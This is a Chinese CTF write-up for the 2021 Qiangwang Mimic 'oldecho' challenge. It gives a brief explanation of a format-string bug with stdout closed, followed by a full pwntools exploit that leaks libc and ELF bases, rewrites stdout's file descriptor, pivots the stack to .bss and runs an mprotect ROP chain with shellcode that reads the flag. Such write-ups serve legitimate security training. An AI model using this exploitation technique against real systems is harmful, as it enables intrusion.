eeeeeeeeeeeeeeeea

愿我们永远热泪盈眶!

0%

强网拟态2021一道格式化字符串

oldecho

这题好难啊,期间试了好几个gdb版本,不同的gdb版本对应的栈偏移是不一样的,需要自己调试。然后给ubuntu16的gdb升级了一下,我怎么弄也成功不了,最后在github上提了一个issue,得到了解答,我直接膜!

思路:

这个题是格式化字符串,但是有close(1),也就是关闭了输出文件描述符,程序一开始给的gift-0x70处栈上存在stdout,我们需要通过抬栈,让stdout出现在栈中,这样才能进行利用,将stdout->_fileno改为2之后,就可以正常的进行输入输出了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *

context.log_level = "debug"
context.arch = "amd64"
elf = ELF("./oldecho")
libc = ELF("./libc.so.6")

p = process("./oldecho")

while True:
p = process('./oldecho')
try:
p.recvuntil('Gift: ')
stack = int(p.recv(14),16)
success("stack:"+hex(stack))
offset = 9
retval = stack&0xFFFF
if retval > 0x2000:
p.close()
continue

retval1 = stack&0xFF
if retval1 < 0x80:
p.close()
continue
#1
gdb.attach(p)
# pause()
p.sendline('%'+str((stack&0xff)-0x10)+'c%6$hhn') #push rbp
p.sendline('%'+'64c%10$hhn')

# pause()
p.sendline('%'+str((stack&0xffff)-0x10-0x28)+'c%6$hn') #ret
p.sendline('%'+'63c%10$hhn')

# pause()
p.sendline('%'+str((stack&0xff)-0x80)+'c%15$hhn') #指向fileno
p.sendline('%'+'144c%41$hhn')

# pause()
p.sendline('%2c%29$neeee') #改fileno
p.recvuntil('eeee',timeout=0.5)
p.sendline('E:%13$pE:%9$p') #开始泄露

p.recvuntil('E:')
libc_base = int(p.recv(14),16) - 240 - libc.sym['__libc_start_main']
success("libc_base:"+hex(libc_base))
p.recvuntil('E:')
elf_base = int(p.recv(14),16) - 0x202040
success("elf_base:"+hex(elf_base))

pop_rdi_ret = libc_base + 0x21112
pop_rsi_ret = libc_base + 0x202f8
pop_rdx_ret = libc_base + 0x1b92
pop_rdx_rsi = libc_base + 0x1151c9
Open = libc_base + libc.sym['open']
Read = libc_base + libc.sym['read']
puts = libc_base + libc.sym['puts']
mprotect_addr = libc_base + libc.sym["mprotect"]
bss_base = (elf_base+0x202058) & 0xfffffffff000
success("bss_base:"+hex(bss_base))

shellcode = shellcraft.amd64.linux.cat("./flag",fd=2) #布置orw链
shellcode = asm(shellcode)
shellcode_addr = elf_base + 0x202098
orw = "./flag\x00\x00" + p64(pop_rdi_ret) + p64(bss_base) + p64(pop_rdx_rsi) + p64(7) + p64(0x1000) + p64(mprotect_addr) + p64(shellcode_addr) + shellcode
# pause()
p.sendline('%'+str((stack-0x138)&0xffff)+'c%15$hn')
p.sendline('%88c%41$hhn')
# pause()
for i in range(1,6): #将rsp改为__bss_start+72
p.sendline('%' + str((stack - 0x138 + i)&0xFF) + 'c%15$hhn')
p.sendline('%' + str(((elf_base + 0x202040)>>(i*8))&0xFF) + 'c%41$hhn')
# pause()
pause()
p.sendline('%' + str((stack - 0x130)&0xFF) + 'c%15$hhn') #进行栈迁移,迁移到bss_start
pause()
p.sendline('%62c%41$hhn'.ljust(0x18,'\x00') + orw)
pause()
break
except:
p.close()
continue

p.interactive()